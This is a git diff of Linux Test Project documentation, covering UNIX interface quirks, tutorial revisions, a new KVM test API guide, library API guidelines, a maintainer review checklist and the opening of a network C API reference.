+This chapter describes common problems/misuses and less obvious design patters
+(quirks) in UNIX interfaces. Read it carefully :)
+
+2.1 umask()
+~~~~~~~~~~~
+
+I've been hit by this one several times already... When you create files
+with 'open()' or 'creat()' etc, the mode specified as the last parameter *is
+not* the mode the file is created with. The mode depends on current 'umask()'
+settings which may clear some of the bits. If your test depends on specific
+file permissions you need either to change umask to 0 or 'chmod()' the file
+afterwards or use 'SAFE_TOUCH()' that does the 'chmod()' for you.
+
+2.2 access()
+~~~~~~~~~~~~
+
+If 'access(some_file, W_OK)' is executed by root, it will return success even
+if the file doesn't have write permission bits set (the same holds for R_OK
+too). For sysfs files you can use 'open()' as a workaround to check file
+read/write permissions. It might not work for other filesystems, for these you
+have to use 'stat()', 'lstat()' or 'fstat()'.
+
+2.3 umount() EBUSY
+~~~~~~~~~~~~~~~~~~
+
+Various desktop daemons (gvfsd-trash is known for that) may be stupid enough
+to probe all newly mounted filesystem which results in 'umount(2)' failing
+with 'EBUSY'; use 'tst_umount()' described in 1.19 that retries in this case
+instead of plain 'umount(2)'.
+
+2.4 FILE buffers and fork()
+~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Be vary that if a process calls 'fork(2)' the child process inherits open
+descriptors as well as copy of the parent memory so especially if there are
+any open 'FILE' buffers with a data in them they may be written both by the
+parent and children resulting in corrupted/duplicated data in the resulting
+files.
+
+Also open 'FILE' streams are flushed and closed at 'exit(3)' so if your
+program works with 'FILE' streams, does 'fork(2)', and the child may end up
+calling 'exit(3)' you will likely end up with corrupted files.
+
+The solution to this problem is either simply call 'fflush(NULL)' that flushes
+all open output 'FILE' streams just before doing 'fork(2)'. You may also use
+'_exit(2)' in child processes which does not flush 'FILE' buffers and also
+skips 'atexit(3)' callbacks.
diff --git a/doc/c-test-tutorial-simple.txt b/doc/c-test-tutorial-simple.txt
index 34b2142..c25a5f4 100644
--- a/doc/c-test-tutorial-simple.txt
+++ b/doc/c-test-tutorial-simple.txt
@@ -1,6 +1,10 @@
 C Test Case Tutorial
 ====================
 
+NOTE: See also
+      https://github.com/linux-test-project/ltp/wiki/Test-Writing-Guidelines[Test Writing Guidelines],
+      https://github.com/linux-test-project/ltp/wiki/C-Test-API[C Test API].
+
 This is a step-by-step tutorial on writing a simple C LTP test, where topics
 of the LTP and Linux kernel testing will be introduced gradually using a
 concrete example. Most sections will include exercises, some trivial and
@@ -20,15 +24,16 @@
 developers may find it too verbose while people new to system level Linux
 development may find it overwhelming.
 
-Comments and feedback are welcome, please direct them to the mailing list (see
-+README+).
+Comments and feedback are welcome, please direct them to
+https://lists.linux.it/listinfo/ltp[the mailing list].
 
 1. Getting Started
 ------------------
 
-Git-clone the main LTP repository as described in the +README+ and change
-directory to the checked-out Git repository. We recommend installing the LTP
-and running one of the tests mentioned in the Quick guide (in the +README+) to
+Git-clone the main LTP repository as described in
+https://github.com/linux-test-project/ltp#quick-guide-to-running-the-tests[the +README.md+]
+and change directory to the checked-out Git repository. We recommend installing the LTP
+and running one of the tests mentioned in the Quick guide (in the +README.md+) to
 ensure you are starting from a good state.
 
 We also recommended cloning the Linux kernel repository for reference, this
@@ -116,8 +121,8 @@
  * Copyright (c) 2017 Instruction Ignorer <"can't"@be.bothered.com>
  */
 
-/*
- * Test statx
+/*\
+ * [Description]
  *
  * All tests should start with a description of _what_ we are testing.
  * Non-trivial explanations of _how_ the code works should also go here.
@@ -216,7 +221,7 @@
 
 This should build the test and then run it. However, even though the test is
 in the +syscalls+ directory it won't be automatically ran as part of the
-_syscalls_ test group (remember +./runltp -f syscalls+ from the +README+?). For
+_syscalls_ test group (remember +./runltp -f syscalls+ from the +README.md+?). For
 this we need to add it to the +runtest+ file. So open +runtest/statx+ and add
 the lines starting with a +++.
 
@@ -224,12 +229,12 @@
 --------------------------------------------------------------------------------
  statvfs01 statvfs01
  statvfs02 statvfs02
- 
+
 +statx01 statx01
 +
  stime01 stime01
  stime02 stime02
- 
+
 --------------------------------------------------------------------------------
 
 The +runtest+ files are in a two column format. The first column is the test
@@ -302,17 +307,16 @@
 
 Is your +.gitignore+ correct?
 
-3.3 Run checkpatch.pl on the source file
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+3.3 Run make check
+~~~~~~~~~~~~~~~~~~
 
-The LTP follows the Linux style guidelines where possible. Check what happens
-if you run +kernel/linux/scripts/checkpatch.pl --no-tree -f statx01.c+ and
-correct any style issues.
+Check coding style with `make check`
+ (more in https://github.com/linux-test-project/ltp/wiki/Test-Writing-Guidelines#21-c-coding-style[C coding style])
 
 3.4 Install the LTP and run the test with runtest
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Run +statx01+ on its own; similar to the +madvise+ tests in the +README+.
+Run +statx01+ on its own; similar to the +madvise+ tests in the +README.md+.
 
 4. Call the system call
 -----------------------
@@ -763,7 +767,7 @@
 6.1 What is wrong with the switch statement?
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Were you paying attention? Also see the output of +checkpatch.pl+.
+Were you paying attention? Also see the output of +make check+.
 
 6.2 Test a feature unique to statx
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -791,9 +795,9 @@
 submission.
 
 The first thing you need to do before considering submitting your test is run
-+scripts/checkpatch.pl --no-tree -f+ on +statx01.c+. Again, we use the kernel
-style guidelines where possible. Next you should create a new branch, this
-will allow you to reshape your commit history without fear.
++make check-statx01+ or + make check+ in the test's directory. Again, we use
+the kernel style guidelines where possible. Next you should create a new
+branch, this will allow you to reshape your commit history without fear.
 
 After that we have the pleasure of doing an interactive 'rebase' to clean up
 our commit history. In its current form the test only really needs a single
@@ -977,9 +981,9 @@
 want, stage the changes and continue the 'rebase' with +git rebase
 --continue+.
 
-In order to create a patch e-mail we use +git format-patch+, we can then send
-that e-mail using +git send-email+. It is also possible to import the patch
-(+mbox+) file into a number of e-mail programs.
+In order to create a patch e-mail we use https://git-scm.com/docs/git-format-patch[+git format-patch+],
+we can then send that e-mail using https://git-scm.com/docs/git-send-email[+git send-email+].
+It is also possible to import the patch (+mbox+) file into a number of e-mail programs.
 
 [source,shell]
 --------------------------------------------------------------------------------
@@ -1050,7 +1054,7 @@
 different hardware architectures. The important thing to take away from this
 is that you have to be conscientious of what will happen on systems different
 from yours. The LTP has a huge and varied user base, so situations you may
-thing are unlikely can and do happen to somebody.
+think are unlikely can and do happen to somebody.
 
 Of course you don't want to spend time allowing for situations which may never
 arise either, so you have to do your research and think about each situation
@@ -1061,9 +1065,12 @@
 multi-process or multi-threaded testing. The LTP library functions work inside
 child processes and threads, but their semantics change slightly. There are
 also various helper functions for synchronising and forking processes. For
-more information see the Test Writing Guidelines (either at
-https://github.com/linux-test-project/ltp/wiki/Test-Writing-Guidelines[the
-Wiki] or in ./doc), in particular sections 2.2.7 to 2.2.10 and 2.2.13.
+more information see
+https://github.com/linux-test-project/ltp/wiki/C-Test-API[C Test API],
+in particular sections
+https://github.com/linux-test-project/ltp/wiki/C-Test-API#17-fork-ing[1.7 Fork()-ing] to
+https://github.com/linux-test-project/ltp/wiki/C-Test-API#110-signals-and-signal-handlers[1.10 Signals and signal handlers] and
+https://github.com/linux-test-project/ltp/wiki/C-Test-API#114-thread-safety-in-the-ltp-library[1.14 Thread-safety in the LTP library].
 
 When it comes time to submit a test, the preferred way to do it is on the
 mailing list although you can also use GitHub. The LTP follows similar rules
diff --git a/doc/kvm-test-api.txt b/doc/kvm-test-api.txt
new file mode 100644
index 0000000..25b7217
--- /dev/null
+++ b/doc/kvm-test-api.txt
@@ -0,0 +1,384 @@
+LTP KVM Test API
+================
+
+Testing KVM is more complex than other Linux features. Some KVM bugs allow
+userspace code running inside the virtual machine to bypass (emulated) hardware
+access restrictions and elevate its privileges inside the guest operating
+system. The worst types of KVM bugs may even allow the guest code to crash or
+compromise the physical host. KVM tests therefore need to be split into two
+components – a KVM controller program running on the physical host and a guest
+payload program running inside the VM. The cooperation of these two components
+allows testing even of bugs that somehow cross the virtualization boundary.
+
+NOTE: See also
+      https://github.com/linux-test-project/ltp/wiki/Test-Writing-Guidelines[Test Writing Guidelines],
+      https://github.com/linux-test-project/ltp/wiki/C-Test-Case-Tutorial[C Test Case Tutorial],
+      https://github.com/linux-test-project/ltp/wiki/C-Test-API[C Test API].
+
+1. Basic KVM test structure
+---------------------------
+
+KVM tests are simple C source files containing both the KVM controller code
+and the guest payload code separated by `#ifdef COMPILE_PAYLOAD` preprocessor
+condition. The file will be compiled twice. Once to compile the payload part,
+once to compile the KVM controller part and embed the payload binary inside.
+The result is a single self-contained binary that'll execute the embedded
+payload inside a KVM virtual machine and print results in the same format as
+a normal LTP test.
+
+A KVM test source should start with `#include "kvm_test.h"` instead of the
+usual `tst_test.h`. The `kvm_test.h` header file will include the other basic
+headers appropriate for the current compilation pass. Everything else in the
+source file should be enclosed in `#ifdef COMPILE_PAYLOAD ... #else ... #endif`
+condition, including any other header file includes. Note that the standard
+LTP headers are not available in the payload compilation pass, only the KVM
+guest library headers can be included.
+
+.Example KVM test
+[source,c]
+-------------------------------------------------------------------------------
+#include "kvm_test.h"
+
+#ifdef COMPILE_PAYLOAD
+
+/* Guest payload code */
+
+void main(void)
+{
+	tst_res(TPASS, "Hello, world!");
+}
+
+#else /* COMPILE_PAYLOAD */
+
+/* KVM controller code */
+
+static struct tst_test test = {
+	.test_all = tst_kvm_run,
+	.setup = tst_kvm_setup,
+	.cleanup = tst_kvm_cleanup,
+};
+
+#endif /* COMPILE_PAYLOAD */
+-------------------------------------------------------------------------------
+
+The KVM controller code is a normal LTP test and needs to define an instance
+of `struct tst_test` with metadata and the usual setup, cleanup, and test
+functions. Basic implementation of all three functions is provided by the KVM
+host library.
+
+On the other hand, the payload is essentially a tiny kernel that'll run
+on bare virtual hardware. It cannot access any files, Linux syscalls, standard
+library functions, etc. except for the small subset provided by the KVM guest
+library. The payload code must define a `void main(void)` function which will
+be the VM entry point of the test.
+
+2. KVM host library
+-------------------
+
+The KVM host library provides helper functions for creating and running
+a minimal KVM virtual machine.
+
+2.1 Data structures
+~~~~~~~~~~~~~~~~~~~
+
+[source,c]
+-------------------------------------------------------------------------------
+struct tst_kvm_instance {
+	int vm_fd, vcpu_fd;
+	struct kvm_run *vcpu_info;
+	size_t vcpu_info_size;
+	struct kvm_userspace_memory_region ram[MAX_KVM_MEMSLOTS];
+	struct tst_kvm_result *result;
+};
+-------------------------------------------------------------------------------
+
+`struct tst_kvm_instance` holds the file descriptors and memory buffers
+of a single KVM virtual machine:
+
+- `int vm_fd` is the main VM file descriptor created by `ioctl(KVM_CREATE_VM)`
+- `int vcpu_fd` is the virtual CPU filedescriptor created by
+  `ioctl(KVM_CREATE_VCPU)`
+- `struct kvm_run *vcpu_info` is the VCPU state structure created by
+  `mmap(vcpu_fd)`
+- `size_t vcpu_info_size` is the size of `vcpu_info` buffer
+- `struct kvm_userspace_memory_region ram[MAX_KVM_MEMSLOTS]` is the list
+  of memory slots defined in this VM. Unused memory slots have zero
+  in the `userspace_addr` field.
+- `struct tst_kvm_result *result` is a buffer for passing test result data
+  from the VM to the controller program, mainly `tst_res()`/`tst_brk()` flags
+  and messages.
+
+[source,c]
+-------------------------------------------------------------------------------
+struct tst_kvm_result {
+	int32_t result;
+	int32_t lineno;
+	uint64_t file_addr;
+	char message[0];
+};
+-------------------------------------------------------------------------------
+
+`struct tst_kvm_result` is used to pass test results and synchronization data
+between the KVM guest and the controller program. Most often, it is used
+to pass `tst_res()` and `tst_brk()` messages from the VM, but special values
+can also be used to send control flow requests both ways.
+
+- `int32_t result` is the message type, either one of the `TPASS`, `TFAIL`,
+  `TWARN`, `TBROK`, `TINFO` flags or a special control flow value. Errno flags
+  are not supported.
+- `int32_t lineno` is the line number for `tst_res()`/`tst_brk()` messages.
+- `uint64_t file_addr` is the VM address of the filename string for
+  `tst_res()`/`tst_brk()` messages.
+- `char message[0]` is the buffer for arbitrary message data, most often used
+  to pass `tst_res()`/`tst_brk()` message strings.
+
+2.2 Working with virtual machines
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The KVM host library provides default implementation of the setup, cleanup
+and test functions for `struct tst_test` in cases where you do not need
+to customize the VM configuration. You can either assign these functions
+to the `struct tst_test` instance directly or call them from your own function
+that does some additional steps. All three function must be used together.
+
+- `void tst_kvm_setup(void)`
+- `void tst_kvm_run(void)`
+- `void tst_kvm_cleanup(void)`
+
+Note: `tst_kvm_run()` calls `tst_free_all()`. Calling it will free all
+previously allocated guarded buffers.
+
+- `void tst_kvm_validate_result(int value)` – Validate whether the value
+  returned in `struct tst_kvm_result.result` can be safely passed
+  to `tst_res()` or `tst_brk()`. If the value is not valid, the controller
+  program will be terminated with error.
+
+- `uint64_t tst_kvm_get_phys_address(const struct tst_kvm_instance *inst,
+  uint64_t addr)` – Converts pointer value (virtual address) from KVM virtual
+  machine `inst` to the corresponding physical address. Returns 0 if
+  the virtual address is not mapped to any physical address. If virtual memory
+  mapping is not enabled in the VM or not available on the arch at all, this
+  function simply returns `addr` as is.
+
+- `int tst_kvm_find_phys_memslot(const struct tst_kvm_instance *inst,
+  uint64_t paddr)` – Returns index of the memory slot in KVM virtual machine
+  `inst` which contains the physical address `paddr`. If the address is not
+  backed by a memory buffer, returns -1.
+
+- `int tst_kvm_find_memslot(const struct tst_kvm_instance *inst,
+  uint64_t addr)` – Returns index of the memory slot in KVM virtual machine
+  `inst` which contains the virtual address `addr`. If the virtual address
+  is not mapped to a valid physical address backed by a memory buffer,
+  returns -1.
+
+- `void *tst_kvm_get_memptr(const struct tst_kvm_instance *inst,
+  uint64_t addr)` – Converts pointer value (virtual address) from KVM virtual
+  machine `inst` to host-side pointer.
+
+- `void *tst_kvm_alloc_memory(struct tst_kvm_instance *inst, unsigned int slot,
+  uint64_t baseaddr, size_t size, unsigned int flags)` – Allocates a guarded
+  buffer of given `size` in bytes and installs it into specified memory `slot`
+  of the KVM virtual machine `inst` at base address `baseaddr`. The buffer
+  will be automatically page aligned at both ends. See the kernel
+  documentation of `KVM_SET_USER_MEMORY_REGION` ioctl for list of valid
+  `flags`. Returns pointer to page-aligned beginning of the allocated buffer.
+  The actual requested `baseaddr` will be located at
+  `ret + baseaddr % pagesize`.
+
+- `struct kvm_cpuid2 *tst_kvm_get_cpuid(int sysfd)` – Get a list of supported
+  virtual CPU features returned by `ioctl(KVM_GET_SUPPORTED_CPUID)`.
+  The argument must be an open file descriptor returned by `open("/dev/kvm")`.
+
+- `void tst_kvm_create_instance(struct tst_kvm_instance *inst,
+  size_t ram_size)` – Creates and fully initializes a new KVM virtual machine
+  with at least `ram_size` bytes of memory. The VM instance info will be
+  stored in `inst`.
+
+- `void tst_kvm_run_instance(struct tst_kvm_instance *inst)` – Executes
+  the program installed in KVM virtual machine `inst`. Any result messages
+  returned by the VM will be automatically printed to controller program output.
+
+- `void tst_kvm_destroy_instance(struct tst_kvm_instance *inst)` – Deletes
+  the KVM virtual machine `inst`. Note that the guarded buffers assigned
+  to the VM by `tst_kvm_create_instance()` or `tst_kvm_alloc_memory()` will
+  not be freed.
+
+The KVM host library does not provide any way to reset a VM instance back
+to initial state. Running multiple iterations of the test requires destroying
+the old VM instance and creating a new one. Otherwise the VM will exit
+without reporting any results on the second iteration and the test will fail.
+The `tst_kvm_run()` function handles this issue correctly.
+
+3. KVM guest library
+--------------------
+
+The KVM guest library provides a minimal implementation of both the LTP
+test library and the standard C library functions. Do not try to include
+the usual LTP or C headers in guest payload code, it will not work.
+
+3.1 Standard C functions
+~~~~~~~~~~~~~~~~~~~~~~~~
+
+`#include "kvm_test.h"`
+
+The functions listed below are implemented according to the C standard:
+
+- `void *memset(void *dest, int val, size_t size)`
+- `void *memzero(void *dest, size_t size)`
+- `void *memcpy(void *dest, const void *src, size_t size)`
+- `char *strcpy(char *dest, const char *src)`
+- `char *strcat(char *dest, const char *src)`
+- `size_t strlen(const char *str)`
+
+3.2 LTP library functions
+~~~~~~~~~~~~~~~~~~~~~~~~~
+
+`#include "kvm_test.h"`
+
+The KVM guest library currently provides the LTP functions for reporting test
+results. All standard result flags except for `T*ERRNO` are supported
+with the same rules as usual. However, the printf-like formatting is not
+implemented yet.
+
+- `void tst_res(int result, const char *message)`
+- `void tst_brk(int result, const char *message) __attribute__((noreturn))`
+
+A handful of useful macros is also available:
+
+- `TST_TEST_TCONF(message)` – Generates a test program that will simply print
+  a `TCONF` message and exit. This is useful when the real test cannot be
+  built due to missing dependencies or arch limitations.
+
+- `ARRAY_SIZE(arr)` – Returns the number of items in statically allocated
+  array `arr`.
+
+- `LTP_ALIGN(x, a)` – Aligns integer `x` to be a multiple of `a`, which
+  must be a power of 2.
+
+3.3 Arch independent functions
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+`#include "kvm_test.h"`
+
+Memory management in KVM guest library currently uses only primitive linear
+buffer for memory allocation. There are no checks whether the VM can allocate
+more memory and the already allocated memory cannot be freed.
+
+- `void *tst_heap_alloc(size_t size)` – Allocates a block of memory on the heap.
+
+- `void *tst_heap_alloc_aligned(size_t size, size_t align)` – Allocates
+  a block of memory on the heap with the starting address aligned to given
+  value.
+
+3.4 x86 specific functions
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+`#include "kvm_test.h"` +
+`#include "kvm_x86.h"`
+
+- `struct kvm_interrupt_frame` – Opaque arch-dependent structure which holds
+  interrupt frame information. Use the functions below to get individual values:
+
+- `uintptr_t kvm_get_interrupt_ip(const struct kvm_interrupt_frame *ifrm)` –
+  Get instruction pointer value from interrupt frame structure. This may be
+  the instruction which caused an interrupt or the one immediately after,
+  depending on the interrupt vector semantics.
+
+- `int (*tst_interrupt_callback)(void *userdata,
+  struct kvm_interrupt_frame *ifrm, unsigned long errcode)` – Interrupt handler
+  callback prototype. When an interrupt occurs, the assigned callback function
+  will be passed the `userdata` pointer that was given
+  to `tst_set_interrupt_callback()`, interrupt frame `ifrm` and the error
+  code `errcode` defined by the interrupt vector semantics. If the interrupt
+  vector does not generate an error code, `errcode` will be set to zero.
+  The callback function must return 0 if the interrupt was successfully
+  handled and test execution should resume. Non-zero return value means that
+  the interrupt could not be handled and the test will terminate with error.
+
+- `void tst_set_interrupt_callback(unsigned int vector,
+  tst_interrupt_callback func, void *userdata)` – Register new interrupt
+  handler callback function `func` for interrupt `vector`. The `userdata`
+  argument is an arbitrary pointer that will be passed to `func()` every time
+  it gets called. The previous interrupt handler callback will be removed.
+  Setting `func` to `NULL` will remove any existing interrupt handler
+  from `vector` and the interrupt will become fatal error.
+
+[source,c]
+-------------------------------------------------------------------------------
+struct page_table_entry_pae {
+	unsigned int present: 1;
+	unsigned int writable: 1;
+	unsigned int user_access: 1;
+	unsigned int write_through: 1;
+	unsigned int disable_cache: 1;
+	unsigned int accessed: 1;
+	unsigned int dirty: 1;
+	unsigned int page_type: 1;
+	unsigned int global: 1;
+	unsigned int padding: 3;
+	uint64_t address: 40;
+	unsigned int padding2: 7;
+	unsigned int prot_key: 4;
+	unsigned int noexec: 1;
+} __attribute__((__packed__));
+
+struct kvm_cpuid {
+	unsigned int eax, ebx, ecx, edx;
+};
+
+struct kvm_cregs {
+	unsigned long cr0, cr2, cr3, cr4;
+};
+-------------------------------------------------------------------------------
+
+`struct page_table_entry_pae` is the page table entry structure for PAE and
+64bit paging modes. See Intel(R) 64 and IA-32 Architectures Software
+Developer's Manual, Volume 3, Chapter 4 for explanation of the fields.
+
+- `uintptr_t kvm_get_page_address_pae(const struct page_table_entry_pae *entry)`
+  – Returns the physical address of the memory page referenced by the given
+  page table `entry`. Depending on memory mapping changes done by the test,
+  the physical address may not be a valid pointer. The caller must determine
+  whether the address points to another page table entry or a data page, using
+  the known position in page table hierarchy and `entry->page_type`. Returns
+  zero if the `entry` does not reference any memory page.
+
+- `void kvm_get_cpuid(unsigned int eax, unsigned int ecx,
+  struct kvm_cpuid *buf)` – Executes the CPUID instruction with the given
+  `eax` and `ecx` arguments and stores the results in `buf`.
+
+- `void kvm_read_cregs(struct kvm_cregs *buf)` – Copies the current values
+  of control registers to `buf`.
+
+- `uint64_t kvm_rdmsr(unsigned int msr)` – Returns the current value
+  of model-specific register `msr`.
+
+- `void kvm_wrmsr(unsigned int msr, uint64_t value)` – Stores `value`
+  into model-specific register `msr`.
+
+- `void kvm_exit(void) __attribute__((noreturn))` – Terminate the test.
+  Similar to calling `exit(0)` in a regular LTP test, although `kvm_exit()`
+  will terminate only one iteration of the test, not the whole host process.
+
+See Intel(R) 64 and IA-32 Architectures Software Developer's Manual
+for documentation of standard and model-specific x86 registers.
+
+4. KVM guest environment
+------------------------
+
+KVM guest payload execution begins with bootstrap code which will perform
+the minimal guest environment setup required for running C code:
+
+- Activate the appropriate CPU execution mode (IA-32 protected mode
+  on 32-bit x86 or the 64-bit mode on x86_64).
+- Create indentity mapping (virtual address = physical address) of the lower
+  2GB memory region, even if parts of the region are not backed by any host
+  memory buffers. The memory region above 2GB threshold is left unmapped
+  except for one memory page reserved for the `struct tst_kvm_result` buffer.
+- Initialize 8KB stack.
+- Install default interrupt handlers for standard CPU exception vectors.
+
+When the environment setup is complete, bootstrap will call `void main(void)`
+function implemented by the test program. To finish execution of guest payload,
+the test can either return from the `main()` function or call `kvm_exit()`
+at any point.
diff --git a/doc/library-api-writing-guidelines.txt b/doc/library-api-writing-guidelines.txt
index 5de35a7..3b8c1d9 100644
--- a/doc/library-api-writing-guidelines.txt
+++ b/doc/library-api-writing-guidelines.txt
@@ -1,6 +1,11 @@
 LTP Library API Writing Guidelines
 ==================================
 
+NOTE: See also
+      https://github.com/linux-test-project/ltp/wiki/Test-Writing-Guidelines[Test Writing Guidelines],
+      https://github.com/linux-test-project/ltp/wiki/C-Test-API[C Test API],
+      https://github.com/linux-test-project/ltp/wiki/Shell-Test-API[Shell Test API].
+
 1. General Rules
 ----------------
 
@@ -13,18 +18,67 @@
 
 Don't forget to update docs when you change the API.
 
+Environment variables should be listed in
+https://github.com/linux-test-project/ltp/wiki/User-Guidelines[LTP User Guidelines]
+and in help output (`-h`) for both C and shell API.
+
 2. C API
 --------
 
-API source code is in headers `include/*.h`, `include/lapi/*.h` (backward
-compatibility for old kernel and libc) and C sources in `lib/*.c`. Files have
-'tst_' prefix.
+2.1 LTP-001: Sources have tst_ prefix
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+API source code is in headers in 'include/{empty}*.h', 'include/lapi/{empty}*.h'
+(backward compatibility for old kernel and libc) and C sources in 'lib/{empty}*.c'.
+Files have `tst_` prefix.
+
+2.2 LTP-002: TST_RET and TST_ERR are not modified
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The test author is guaranteed that the test API will not modify these
+variables. This prevents silent errors where the return value and
+errno are overwritten before the test has chance to check them.
+
+The macros which are clearly intended to update these variables. That
+is `TEST` and those in 'tst_test_macros.h'. Are of course allowed to
+update these variables.
+
+2.3 LTP-003: Externally visible library symbols have the tst_ prefix
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Functions, types and variables in the public test API should have the
+tst_ prefix. With some exceptions for symbols already prefixed with
+`safe_` or `ltp_`.
+
+Static (private) symbols should not have the prefix.
+
 
 3. Shell API
 ------------
 
-API source code is in `tst_test.sh`, `tst_security.sh` and `tst_net.sh`
+API source code is in 'tst_test.sh', 'tst_security.sh' and 'tst_net.sh'
 (all in 'testcases/lib' directory).
 
 Changes in the shell API should not introduce uncommon dependencies
 (use basic commands installed everywhere by default).
+
+3.1 Shell libraries
+~~~~~~~~~~~~~~~~~~~
+
+Aside from shell API libraries in 'testcases/lib', it's worth putting
+common code for a group of tests into a shell library. The filename
+should end with '_lib.sh' and the library should load 'tst_test.sh' or
+'tst_net.sh'.
+
+Shell libraries should have conditional expansion for 'TST_SETUP' or 'TST_CLEANUP',
+to avoid surprises when test specific setup/cleanup function is redefined by
+shell library.
+
+[source,sh]
+-------------------------------------------------------------------------------
+# ipsec_lib.sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+TST_SETUP="${TST_SETUP:-ipsec_lib_setup}"
+...
+. tst_test.sh
+-------------------------------------------------------------------------------
diff --git a/doc/maintainer-patch-review-checklist.txt b/doc/maintainer-patch-review-checklist.txt
index 5420fa9..5d3c688 100644
--- a/doc/maintainer-patch-review-checklist.txt
+++ b/doc/maintainer-patch-review-checklist.txt
@@ -1,7 +1,7 @@
 # Maintainer Patch Review Checklist
 
 Patchset should be tested locally and ideally also in maintainer's fork in
-https://travis-ci.org/[Travis CI].
+GitHub Actions on GitHub.
 
 NOTE: Travis does only build testing, passing the CI means only that the
       test compiles fine on variety of different distributions and
@@ -20,8 +20,9 @@
 After patch is accepted or rejected, set correct state and archive in
 https://patchwork.ozlabs.org/project/ltp/list/[LTP patchwork instance].
 
-Also update LTP WIKI (git URL https://github.com/linux-test-project/ltp.wiki.git)
-if touch `doc/*.txt`.
+Also update `.github/workflows/wiki-mirror.yml` script which mirrors
+`doc/*.txt` to LTP wiki (git URL https://github.com/linux-test-project/ltp.wiki.git)
+if new wiki page is added.
 
 ## New tests
 New test should
@@ -29,6 +30,7 @@
 * Have a record in runtest file
 * Test should work fine with more than one iteration
   (e.g. run with `-i 100`)
+* Run with `-i 0` to check that setup and cleanup are coded properly (no test is being run)
 * Have a brief description
 * License: the default license for new tests is GPL v2 or later, use
   GPL-2.0-or-later; the licence for test (e.g. GPL-2.0) should not change
@@ -38,17 +40,18 @@
 ### C tests
 * Use new https://github.com/linux-test-project/ltp/wiki/Test-Writing-Guidelines#22-writing-a-test-in-c[C API]
 * Test binaries are added into corresponding '.gitignore' files
-* Check coding style with
-  https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/plain/scripts/checkpatch.pl[checkpatch.pl]
-  (more in https://github.com/linux-test-project/ltp/wiki/Test-Writing-Guidelines#131-c-coding-style[C coding style])
+* Check coding style with `make check`
+  (more in https://github.com/linux-test-project/ltp/wiki/Test-Writing-Guidelines#21-c-coding-style[C coding style])
 * Docparse documentation
 * If a test is a regression test it should include tags
   (more in https://github.com/linux-test-project/ltp/wiki/Test-Writing-Guidelines#2238-test-tags[Test tags])
+* When rewriting old tests, https://en.wikipedia.org/wiki/%CE%9CClinux[uClinux]
+  support should be removed (project has been discontinued).
+  E.g. remove `#ifdef UCLINUX`, replace `FORK_OR_VFORK()` with simple `fork()` or `SAFE_FORK()`.
 
 ### Shell tests
 * Use new https://github.com/linux-test-project/ltp/wiki/Test-Writing-Guidelines#23-writing-a-testcase-in-shell[shell API]
-* Check coding style with
-  https://salsa.debian.org/debian/devscripts/raw/master/scripts/checkbashisms.pl[checkbashism.pl]
+* Check coding style with `make check`
   (more in https://github.com/linux-test-project/ltp/wiki/Test-Writing-Guidelines#132-shell-coding-style[Shell coding style])
 * If a test is a regression test it should include related kernel or glibc commits as a comment
 
diff --git a/doc/network-c-api.txt b/doc/network-c-api.txt
new file mode 100644
index 0000000..e910d15
--- /dev/null
+++ b/doc/network-c-api.txt
@@ -0,0 +1,476 @@
+LTP C Test Network API
+======================
+
+NOTE: See also
+      https://github.com/linux-test-project/ltp/wiki/Test-Writing-Guidelines[Test Writing Guidelines],
+      https://github.com/linux-test-project/ltp/wiki/C-Test-Case-Tutorial[C Test Case Tutorial],
+      https://github.com/linux-test-project/ltp/wiki/C-Test-API[C Test API],
+      https://github.com/linux-test-project/ltp/wiki/Shell-Test-API[Shell Test API].
+
+LTP library includes helper functions for configuring sockets and setting up
+network devices.
+
+1 Configuring sockets
+---------------------
+
+1.1 Safe syscall variants
+~~~~~~~~~~~~~~~~~~~~~~~~~
+
++#include "tst_safe_net.h"+
+
+Most common standard syscalls and libc functions for configuring sockets have a
+"safe" variant in LTP library which will call +tst_brk()+ if the underlying
+system function fails. See
+https://github.com/linux-test-project/ltp/wiki/C-Test-API[C Test API]. The
+safe function names are in uppercase with the +SAFE_+ prefix (e.g. the safe
+variant of +socket()+ is called +SAFE_SOCKET()+). For most safe functions, the
+parameters and return type are identical to the standard system function:
+
+- +SAFE_SOCKET()+
+- +SAFE_SOCKETPAIR()+
+- +SAFE_GETSOCKOPT()+
+- +SAFE_SETSOCKOPT()+
+- +SAFE_BIND()+
+- +SAFE_LISTEN()+
+- +SAFE_ACCEPT()+
+- +SAFE_CONNECT()+
+- +SAFE_GETSOCKNAME()+
+- +SAFE_GETHOSTNAME()+
+- +SAFE_GETADDRINFO()+
+
+A few safe functions have extra parameters for quick return value validation.
+The ellipsis (+...+) represents the standard parameters of the underlying system
+function:
+
+* +SAFE_SEND(char strict, ...)+
+* +SAFE_SENDTO(char strict, ...)+
+** If +strict+ is non-zero, the return value must be equal to the data length
+   argument. Otherwise the test will fail and exit.
+
+* +SAFE_SENDMSG(size_t msg_len, ...)+
+* +SAFE_RECV(size_t msg_len, ...)+
+* +SAFE_RECVMSG(size_t msg_len, ...)+
+** If +msg_len+ is non-zero, the return value must be equal to the +msg_len+
+   argument. Otherwise the test will fail and exit.
+
+There are also some custom functions for simpler configuration and queries:
+
+- +int SAFE_SETSOCKOPT_INT(int sockfd, int level, int optname, int value)+ –
+  Simple setsockopt() variant for passing integers by value.
+
+- +int TST_GETSOCKPORT(int sockfd)+ – Get port number (in host byte order) of a
+  bound socket.
+
+- +unsigned short TST_GET_UNUSED_PORT(int family, int type)+ – Get a random
+  port number (in network byte order) which is currently closed for the given
+  socket family and type. Note that another application may open the port while
+  the test is still running. The test user is responsible for setting up test
+  environment without such interference.
+
+1.2 Address conversion functions
